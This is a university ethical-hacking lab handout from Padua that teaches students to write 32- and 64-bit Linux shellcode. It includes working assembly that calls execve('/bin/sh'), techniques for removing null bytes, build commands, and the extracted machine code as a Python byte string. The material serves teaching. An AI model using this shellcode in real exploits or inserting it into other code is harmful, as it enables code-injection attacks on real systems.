Shellcode Development Lab

Ethical Hacking 2022/23, University of Padua

Eleonora Losiouk, Alessandro Brighente, Gabriele Orazi, Francesco Marchiori

---

 This lab was developed with the help of Hao Zhang and Kuber Kohli, graduate students in the Department of Electrical Engineering and Computer Science at Syracuse University.

Overview

Shellcode is widely used in many attacks that involve code injection. Writing shellcode is quite challenging. Although we can easily find existing shellcode from the Internet, there are situations where we have to write a shellcode that satisfies certain specific requirements. Moreover, to be able to write our own shellcode from scratch is always exciting. There are several interesting techniques involved in shellcode. The purpose of this lab is to help students understand these techniques so they can write their own shellcode.

There are several challenges in writing shellcode, one is to ensure that there is no zero in the binary, and the other is to find out the address of the data used in the command. The first challenge is not very difficult to solve, and there are several ways to solve it. The solutions to the second challenge led to two typical approaches to write shellcode. In one approach, data are pushed into the stack during the execution, so their addresses can be obtained from the stack pointer. In the second approach, data are stored in the code region, right after a call instruction. When the call instruction is executed, the address of the data is treated as the return address, and is pushed into the stack. Both solutions are quite elegant, and we hope students can learn these two techniques. This lab covers the following topics:

- Shellcode
- Assembly code
- Disassembling

Lab environment. This lab has been tested on the SEED Ubuntu 20.04 VM. You can download a pre-built image from the SEED website, and run the SEED VM on your own computer. However, most of the SEED labs can be conducted on the cloud, and you can follow our instruction to create a SEED VM on the cloud.

1 Task 1: Writing Shellcode

In this task, we will first start with a shellcode example, to demonstrate how to write a shellcode. After that, we ask students to modify the code to accomplish various tasks.

Shellcode is typically written using assembly languages, which depend on the computer architecture. We will be using the Intel architectures, which have two types of processors: x86 (for 32-bit CPU) and x64 (for 64-bit

CPU). In this task, we will focus on 32-bit shellcode. In the final task, we will switch to 64-bit shellcode. Although most of the computers these days are 64-bit computers, they can run 32-bit programs.

1.1 Task 1.a: The Entire Process

In this task, we provide a basic x86 shellcode to show students how to write a shellcode from scratch. Students can download this code from the lab's website, go through the entire process described in this task. The code is provided in the following. **Note:** please do not copy and paste from this PDF file, because some of characters might be changed due to the copy and paste. Instead, download the file from the lab's archive.

Brief explanation of the code is given in the comments.

```
; Listing 1: A basic shellcode example mysh.s
section .text
    global _start
        _start:
            ; Store the argument string on stack
            xor eax, eax
            push eax        ; Use 0 to terminate the string
            push "//sh"     ; [1]
            push "/bin"
            mov ebx, esp    ; Get the string address

            ; Construct the argument array argv[]
            push eax        ; argv[1] = 0       [2]
            push ebx        ; argv[0] points to the cmd string [3]
            mov ecx, esp    ; Get the address of argv[]

            ; For environment variable
            xor edx, edx    ; No env variable [4]

            ; Invoke execve()
            xor eax, eax    ; eax = 0x00000000
            mov al, 0x0b    ; eax = 0x0000000b
            int 0x80
```

Compiling to object code. We compile the assembly code above (`mysh.s`) using `nasm`, which is an assembler and disassembler for the Intel x86 and x64 architectures. The `-f elf32` option indicates that we want to compile the code to 32-bit ELF binary format. The Executable and Linkable Format (ELF) is a common standard file format for executable file, object code, shared libraries. For 64-bit assembly code, `elf64` should be used.

```
$ nasm -f elf32 mysh.s -o mysh.o
```

Linking to generate final binary. Once we get the object code `mysh.o`, if we want to generate the executable binary, we can run the linker program `ld`, which is the last step in compilation. The `-m elf_i386` option means generating the 32-bit ELF binary. After this step, we get the final executable code mysh. If we run it, we can get a shell. Before and after running `mysh`, we print out the current shell's process IDs using `echo $$`, so we can clearly see that mysh indeed starts a new shell.

```
$ ld -m elf_i386 mysh.o -o mysh
$ echo $$
25751   <-- the process ID of the current shell
$ mysh
$ echo $$
9760    <-- the process ID of the new shell
```

Getting the machine code. During the attack, we only need the machine code of the shellcode, not a standalone executable file, which contains data other than the actual machine code. Technically, only the machine code is called shellcode. Therefore, we need to extract the machine code from the executable file or the object file. There are various ways to do that. One way is to use the `objdump` command to disassemble the executable or object file.

There are two different common syntax modes for assembly code, one is the AT&T syntax mode, and the other is Intel syntax mode. By default, `objdump` uses the AT&T mode. In the following, we use the `-Mintel` option to produce the assembly code in the Intel mode.

```
$ objdump -Mintel --disassemble mysh.o
mysh.o:     file format elf32-i386

Disassembly of section .text:

00000000 <_start>:
    0: 31 db xor ebx,ebx
    2: 31 c0 xor eax,eax
        ... (code omitted) ...
    1f: b0 0b mov al,0xb
    21: cd 80 int 0x80
```

In the above print out, the highlighted numbers are machine code. You can also use the `xxd` command to print out the content of the binary file, and you should be able to find out the shellcode's machine code from the printout.

```
$ xxd -p -c 20 mysh.o
7f454c4601010100000000000000000001000300
...
00000000000000000000000031db31c0b0d5cd80
31c050682f2f7368682f62696e89e3505389e131
d231c0b00bcd8000000000000000000000000000
...
```

Using the shellcode in attacking code. In actual attacks, we need to include the shellcode in our attacking code, such as a Python or C program. We usually store the machine code in an array, but converting the machine code printed above to the array assignment in Python and C programs is quite tedious if done manually, especially if we need to perform this process many times in the lab. We wrote the following Python code to help this process. Just copy whatever you get from the `xxd` command (only the shellcode part) and paste it to the following code, between the lines marked by """. The code can be downloaded from the lab's website.

```python
# Listing 2: convert.py
#!/usr/bin/env python3

# Run "xxd -p -c 20 mysh.o", and
# copy and paste the machine code part to the following:
ori_sh ="""
31db31c0b0d5cd80
31c050682f2f7368682f62696e89e3505389e131
d231c0b00bcd80
"""

sh = ori_sh.replace("\n", "")

length = int(len(sh)/2)
print("Length of the shellcode: {}".format(length))
```

```
s = 'shellcode= (\n' + '   "'
for i in range(length):
    s += "\\x" + sh[2*i] + sh[2*i+1]
    if i > 0 and i % 16 == 15:
        s += '"\n' + '   "'
s += '"\n' + ").encode('latin-1')"
print(s)
```

The `convert.py` program will print out the following Python code that you can include in your attack code. It stores the shellcode in a Python array.

```
$ ./convert.py
Length of the shellcode: 35
shellcode= (
    "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68"
    "\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0"
    "\x0b\xcd\x80"
).encode('latin-1')
```

1.2 Task 1.b. Eliminating Zeros from the Code

Shellcode is widely used in buffer-overflow attacks. In many cases, the vulnerabilities are caused by string copy, such as the `strcpy()` function. For these string copy functions, zero is considered as the end of the string. Therefore, if we have a zero in the middle of a shellcode, string copy will not be able to copy anything after the zero from this shellcode to the target buffer, so the attack will not be able to succeed.

Although not all the vulnerabilities have issues with zeros, it becomes a requirement for shellcode not to have any zero in the machine code; otherwise, the application of a shellcode will be limited.

There are many techniques that can get rid of zeros from the shellcode. The code `mysh.s` needs to use zeros in four different places. Please identify all of those places, and explain how the code uses zeros but without introducing zero in the code. Some hints are given in the following:

- If we want to assign zero to `eax`, we can use "`mov eax, 0`", but doing so, we will get a zero in the machine code. A typical way to solve this problem is to use "`xor eax, eax`". Please explain why this would work.
- If we want to store `0x00000099` to `eax`. We cannot just use `mov eax, 0x99`, because the second operand is actually `0x00000099`, which contains three zeros. To solve this problem, we can first set `eax` to zero, and then assign a one-byte number `0x99` to the `al` register, which is the least significant 8 bits of the `eax` register.
- Another way is to use shift. In the following code, first `0x237A7978` is assigned to `ebx`. The ASCII values for `x`, `y`, `z`, and `#` are `0x78`, `0x79`, `0x7a`, `0x23`, respectively. Because most Intel CPUs use the small-Endian byte order, the least significant byte is the one stored at the lower address (i.e., the character `x`), so the number presented by `xyz#` is actually `0x237A7978`. You can see this when you dissemble the code using `objdump`. After assigning the number to `ebx`, we shift this register to the left for 8 bits, so the most significant byte `0x23` will be pushed out and discarded. We then shift the register to the right for 8 bits, so the most significant byte will be filledwith `0x00`. After that, `ebx` will contain `0x007A7978`, which is equivalent to "`xyzn\0`", i.e., the last byte of this string becomes zero.

```
mov ebx, "xyz#"
shl ebx, 8
shr ebx, 8
```

Task. In Line `[1]` of the shellcode `mysh.s`, we push "`//sh`" into the stack. Actually, we just want to push "`/sh`" into the stack, but the `push` instruction has to push a 32-bit number. Therefore, we add a redundant `/` at the beginning; for the OS, this is equivalent to just one single `/`.

For this task, we will use the shellcode to execute `/bin/bash`, which has 9 bytes in the command string (10 bytes if counting the zero at the end). Typically, to push this string to the stack, we need to make the length multiple of 4, so we would convert the string to `/bin////bash`.

However, for this task, you are not allowed to add any redundant `/` to the string, i.e., the length of the command must be 9 bytes (`/bin/bash`). Please demonstrate how you can do that. In addition to showing that you can get a bash shell, you also need to show that there is no zero in your code.

1.3 Task 1.c. Providing Arguments for System Calls

Inside `mysh.s`, in Lines `[2]` and `[3]`, we construct the `argv[]` array for the `execve()` system call. Since our command is `/bin/sh`, without any command-line arguments, our `argv` array only contains two elements: the firstone is a pointer to the command string, and the second one is zero.

In this task, we need to run the following command, i.e., we want to use `execve` to execute the following command, which uses `/bin/sh` to execute the "`ls -la`" command.

```
/bin/sh -c "ls -la"
```

In this new command, the `argv` array should have the following four elements, all of which need to be constructed on the stack. Please modify `mysh.s` and demonstrate your execution result. As usual, you cannot have zero in your shellcode (you are allowed to use redundant `/`).

```
argv[3] = 0
argv[2] = "ls -la"
argv[1] = "-c"
argv[0] = "/bin/sh"
```

1.4 Task 1.d. Providing Environment Variables for `execve()`

The third parameter for the `execve()` system call is a pointer to the environment variable array, and it allows us to pass environment variables to the program. In our sample program (Line `[4]`), we pass a null pointer to `execve()`, so no environment variable is passed to the program. In this task, we will pass some environment variables.

If we change the command "`/bin/sh`" in our shellcode `mysh.s` to "`/usr/bin/env`", which is a command to print out the environment variables. You can find out that when we run our shellcode, there will be no output, because our process does not have any environment variable.

In this task, we will write a shellcode called `myenv.s`. When this program is executed, it executes the "`/usr/bin/env`" command, which can print out the following environment variables:

```
$ ./myenv
aaa=1234
bbb=5678
cccc=1234
```

It should be noted that the value for the environment variable `cccc` must be exactly 4 bytes (no space is allowed to be added to the tail). We intentionally make the length of this environment variable string (name and value) not multiple of 4.

To write such a shellcode, we need to construct an environment variable array on the stack, and store the address of this array to the `edx` register, before invoking `execve()`. The way to construct this array on the stack is exactly the same as the way how we construct the `argv[]` array. Basically, we first store the actual environment variable strings on the stack. Each string has a format of `name=value`, and it is terminated by a zero byte. We need to get the addresses of these strings. Then, we construct the environment variable array, also on the stack, and store the addresses of the strings in this array. The array should look like the following (the order of the elements 0, 1, and 2 does not matter):

```
env[3] = 0          // 0 marks the end of the array
env[2] = address to the "cccc=1234" string
env[1] = address to the "bbb=5678" string
env[0] = address to the "aaa=1234" string
```

2 Task 2: Using Code Segment

As we can see from the shellcode in Task 1, the way how it solves the data address problem is that it dynamically constructs all the necessary data structures on the stack, so their addresses can be obtained from the stack pointer `esp`.

There is another approach to solve the same problem, i.e., getting the address of all the necessary data structures. In this approach, data are stored in the code region, and its address is obtained via the function call mechanism. Let's look at the following code.

```
; Listing 3: mysh2.s

section .text
    global _start
        _start:
            BITS 32
            jmp short two
        one:
            pop ebx             ; [1]
            xor eax, eax
            mov [ebx+7], al     ; save 0x00 (1 byte) to memory at address ebx+7
            mov [ebx+8], ebx    ; save ebx (4 bytes) to memory at address ebx+8
            mov [ebx+12], eax   ; save eax (4 bytes) to memory at address ebx+12
            lea ecx, [ebx+8]    ; let ecx = ebx + 8
            xor edx, edx
            mov al, 0x0b
            int 0x80
        two:
            call one
            db ’/bin/sh\*AAAABBBB’  ; [2]
```

The code above first jumps to the instruction at location `two`, which does another jump (to location `one`), but this time, it uses the `call` instruction. This instruction is for function call, i.e., before it jumps to the target location, it keeps a record of the address of the next instruction as the return address, so when the function returns, it can return to the instruction right after the `call` instruction.

In this example, the "instruction" right after the `call` instruction (Line `[2]`) is not actually an instruction; it stores a string. However, this does not matter, the `call` instruction will push its address (i.e., the string's address) into the stack, in the return address field of the function frame. When we get into the function, i.e., after jumping to location one, the top of the stack is where the return address is stored. Therefore, the `pop ebx` instruction in Line `[1]` actually get the address of the string on Line `[2]`, and save it to the `ebx` register. That is how the address of the string is obtained.

The string at Line `[2]` is not a completed string; it is just a place holder. The program needs to construct the needed data structure inside this place holder. Since the address of the string is already obtained, the address of all the data structures constructed inside this place holder can be easily derived.

If we want to get an executable, we need to use the `--omagic` option when running the linker program (`ld`), so the code segment is writable. By default, the code segment is not writable. When this program runs, it needs to modify the data stored in the code region; if the code segment is not writable, the program will crash. This is not a problem for actual attacks, because in attacks, the code is typically injected into a writable data segment (e.g. stack or heap). Usually we do not run shellcode as a standalone program.

```
$ nasm -f elf32 mysh2.s -o mysh2.o
$ ld --omagic -m elf\_i386 mysh2.o -o mysh2
```

Tasks. You need to do the followings: (1) Please provide a detailed explanation for each line of the code in `mysh2.s`, starting from the line labeled `one`. Please explain why this code would successfully execute the `/bin/sh` program, how the `argv[]` array is constructed, etc. (2)Please use the technique from `mysh2.s` to implement a new shellcode, so it executes `/usr/bin/env`, and it prints out the following environment variables:

```
a=11
b=22
```

3 Task 3: Writing 64-bit Shellcode (optional)

Once we know how to write the 32-bit shellcode, writing 64-bit shellcode will not be difficult, because they are quite similar; the differences are mainly in the registers. For the x64 architecture, invoking system call is done through the `syscall` instruction, and the first three arguments for the system call are stored in the `rdx`, `rsi`, `rdi` registers, respectively. The following is an example of 64-bit shellcode:

```
; Listing 4: A 64-bit shellcode mysh_64.s

section .text
global _start

    _start:
        ; The following code calls execve("/bin/sh", ...)
        xor rdx, rdx        ; 3rd argument (stored in rdx)
        push rdx
        mov rax,'/bin//sh'
        push rax
        mov rdi, rsp        ; 1st argument (stored in rdi)
        push rdx
        push rdi
        mov rsi, rsp        ; 2nd argument (stored in rsi)
        xor rax, rax
        mov al, 0x3b        ; execve()
        syscall
```

We can use the following commands to compile the assemble code into 64-bit binary code:

```
$ nasm -f elf64 mysh_64.s -o mysh_64.o
$ ld mysh_64.o -o mysh_64
```

Task. Repeat Task 1.b for this 64-bit shellcode. Namely, instead of executing "`/bin/sh`", we need to execute "`/bin/bash`", and we are not allowed to use any redundant `/` in the command string, i.e., the length of the command must be 9 bytes(`/bin/bash`). Please demonstrate how you can do that. In addition to showing that you can get a bash shell, you also need to show that there is no zero in your code.